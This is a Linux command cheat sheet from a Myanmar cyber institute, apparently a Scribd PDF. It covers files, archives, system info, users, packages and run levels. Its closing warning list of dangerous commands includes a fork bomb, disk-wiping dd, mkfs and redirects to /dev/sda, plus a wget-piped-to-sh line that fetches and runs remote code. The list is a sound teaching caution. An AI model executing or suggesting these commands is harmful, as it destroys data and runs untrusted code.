0% found this document useful (0 votes)
7 views

Linux Basic Commands

The best linux basic command

Uploaded by

nyi tun
Copyright
© © All Rights Reserved
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
7 views

Linux Basic Commands

The best linux basic command

Uploaded by

nyi tun
Copyright
© © All Rights Reserved
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 6

Myanmar Cyber Institute (MCI)

Contents
Basic Commands for Linux ................................................................................................................................................ 2
Commands for Setting up System ..................................................................................................................................... 3
Commands for Checking System Information .................................................................................................................. 4
Commands for User & Group Management ..................................................................................................................... 4
Software Package Managing Tools ................................................................................................................................... 5
Run Level in inittab ........................................................................................................................................................... 6
10 Most Dangerous Commands – You Should Never Execute on Linux ........................................................................... 6

[Shar Thu@MCI]#Linux Basic Commands Page 1


Myanmar Cyber Institute (MCI)

Basic Commands for Linux


# sh - Change Shell Mode
# pwd - Print working directory
# ls - List Directory and Files
# ls –alh - Display file list with hidden files
# tree - List Directory and files as tree structure
# cd - Change directory (/home/User)
# find ( $ find test.txt) - Find files
# whereis file - Find configuration files
# wc file ($ wc test.txt) - Display file with Line, words, size.
# grep print - Type as you like in Terminal
# expr 100 \* 100 - Calculator command
# echo “4+5” | bc - Calculator command
# mkdir - Make Directory
# mkdir mci - Create Directory
# mkdir mci1 mci2 mci3 - Create Directories
# mkdir mci{4,5,6} - Create Directories
# rmdir - Remove Directory
# rmdir mci - Remove Directory
# rmdir mci1 mci2 mci3 - Remove Directories
# rmdir mci{4,5,6} - Remove Directories
# touch - Create file
# touch filea.txt - Create filea.txt
# touch fileb filec filed - Create files
# touch file{e,f,g} - Create files
# vi filea - Edit file
# vim fileb - Edit file
# nano filec - Edit file
# cat filea - View file with one page
# (cat /etc/*-release | grep REDHAT | tail –n 2 | head –n 1 | cut –d “=” –f2)
# less filea - View specific text in filea
# grep word filea - View specific text in filea
# rm - remove file or directroy
# rm filea - Remove file
# rm -rf fileb - Remove file without notification
# rm filec filed - Remove files
[Shar Thu@MCI]#Linux Basic Commands Page 2
Myanmar Cyber Institute (MCI)

# rm file{e,f} - Remove files


# cp --help - Display "rm" help
# cp SourceFile Destination - Copy file to Destination
# cp -r SourceDir Destination - Copy Dir to Destination
# mv SourceFile Destination - Move File to Destination
# mv test.txt hello.txt - Rename test.txt to hello.txt
# tar -cvf filename.tar filename - Crate tar file
# tar -cvf directory.tar directory - Create tar Directory
# tar -xf filenameordirname.tar - Extra tar file or directory
# tar -czf filename.tar.gz filename - Crate tar.gz file
# tar -czf directory.tar.gz directory - Create tar.gz directory
# tar -zxvf directory or file.tar.gz - Extra tar.gz file or directory
# zip -r zipdirname zipfilename - Create Zip File
# unzip zipfilename.zip - Extra Zip File
# gzip -v newfile.gz newfile - Create gz File
# gunzip newfile.gz - Extra gz File
# mount /dev/cdrom /media - Mount device file to /media
# umount /media - Unmount from /media
# echo “Hello” - Print the word in terminal
# echo $USER - Display Current User Name
# echo $HOME - Display Home Directory
# echo $RANDOM - Display Random Number

Commands for Setting up System


# hostname - Display Hostname
# hostnamectl set-hostname mci.com - Change Hostname
# date - Display system date
# (date | awk „{print $4}‟ | cut –d “:” –f2) - Cutting you want
# date –s “19 Dec 2019 4:31:00PM” - Change Date & Time
# timedatectl list-timezones - Display Time Zones
# timedatectl set-timezone „Asia/Yangon‟ - Change Time Zone
# timedatectl - Check my time zone
# cal - Display calendar (Current Month)
# cal 2019 - Display 2019 year calendar

[Shar Thu@MCI]#Linux Basic Commands Page 3


Myanmar Cyber Institute (MCI)

Commands for Checking System Information


# uname - Display OS
# uname –a - Display system info (OS, hostname, Kernel version, Date)
# uname –r - Display Kernel version
# uname –m - Display Machine Architected
# cat /proc/cpuinfo - Check CPU Info
# free (-m, -g) - Display Memory
# cat /proc/meminfo - Display detail memory info
# df -h - Display Disk Partitions
# cat /proc/partitions - Display Disk Partitions
# fdisk –l - Display Disk Partitions
# lspci - Display Devices
# lsusb - Display USB
# dmidecode - Display System Info ( Detail )
# dmidecode | grep –A4 “Base Board Information” - Check Motherboard Information
# whoami - Display Log in Account
# who - Current User
# w - List of logging user terminal
# ps –aux (or) -e - Display Processes (like Task Manager) [ death ]
# top - Display Processes (like Task Manager) [ Live ]
# kill (PID) - Kill with PID
# pgrep firefox - Check PID for firefox
# uptime -p - Check uptime of machine
# lastlog - Check the last logging user and time
# lastlog –u koko - Check the last logging time for koko
# history - Display last commands in history
# history –c (less ~/.bash_history) - Clear history
# history –d 40 - Delete history by number
# set +o history - Disable History
# set –o history - Enable History

Commands for User & Group Management


# sudo passwd root - Enable root account and set password
# su - Change root account
# cat /etc/passwd - Check Password
# cat /etc/group - Check groups

[Shar Thu@MCI]#Linux Basic Commands Page 4


Myanmar Cyber Institute (MCI)

# adduser usr01 - Create or Add new user (usr01)


# passwd usr01 - Create password for usr01 user
# su usr01 - Change to usr01
# userdel usr01 - Delete usr01 user
# userdel -r usr01 - Delete usr01 user with home dir
# groupadd HR - Create HR Group
# usermod –a –G HR Aung - Member of user Aung to HR Group
# usermod –l root - disable and lock root account
# usermod –l newname oldname - Change User name (bobo to koko)
# group koko - Check koko‟s groups
# deluser username groupname - Remove user in a group
# groupmod oldgpname –n newgpname - Change group name
# groupdel HR - Delete group (HR)

Software Package Managing Tools

Commands
Description
Debian Base Redhat Base
Dpkg –s pkgname Rpm –qi pkgname Check a package is installed or not

dpkg –i pkgname.deb rpm –ivh pkgname.rpm Offline install a package

dpkg -l rpm –qa List all the installed packages

dpkg –r (-p) pkgname rpm –evv pkgname Remove a package

dpkg –L pkgname rpm –ql pkgname Check the location of a installed package

apt-get update yum update

apt-get install pkgname yum install pkgname Install a package (online)

apt-get download pkgname yumdownloader pkgname Download package (not install)

apt-cache pkgnames yum list List of packages in Repo

apt-cache search pkgname yum search pkgname Search package in repo

apt-cache show pkgname yum info pkgname Info of package

apt-get remove pkgname yum remove pkgname Uninstall a installed package

apt-get purge pkgname yum –y remove pkgname Uninstall a installed package with config

apt-get upgrade yum upgrade Upgrade all software (version & releases)

Apt-get dist-upgrade N/A Distro upgrade

[Shar Thu@MCI]#Linux Basic Commands Page 5


Myanmar Cyber Institute (MCI)

Run Level in inittab

Run Level Name Description


Shut down all services when the system will
init 0 Halt
not be rebooted. ( Shutdown system )
Used for system maintenance.
init 1 Single User
No network capabilities.
Multi User Used for maintenance and system testing.
init 2
No Network Support ( Without NFS )

Multi User Non-Graphical Text mode operations for


init 3
Network Support server system. ( full multiuser mode)

init 4 - User definable. ( Unused )

Graphical login with same usability of Run


init 5 Graphical
level 3.
Shutdown all services when the system is
init 6 Reboot
being rebooted. ( Reboot system )

10 Most Dangerous Commands – You Should Never Execute on Linux


1. rm -rf

2. :(){:|:&};:

3. command > /dev/sda

4. mv folder /dev/null

5. wget http://malicious_source -O- | sh

6. mkfs.ext3 /dev/sda

7. > file

8. ^foo^bar

9. dd if=/dev/random of=/dev/sda

10. Hidden the Command

Source : https://www.tecmint.com/10-most-dangerous-commands-you-should-never-execute-on-linux/

[Shar Thu@MCI]#Linux Basic Commands Page 6

You might also like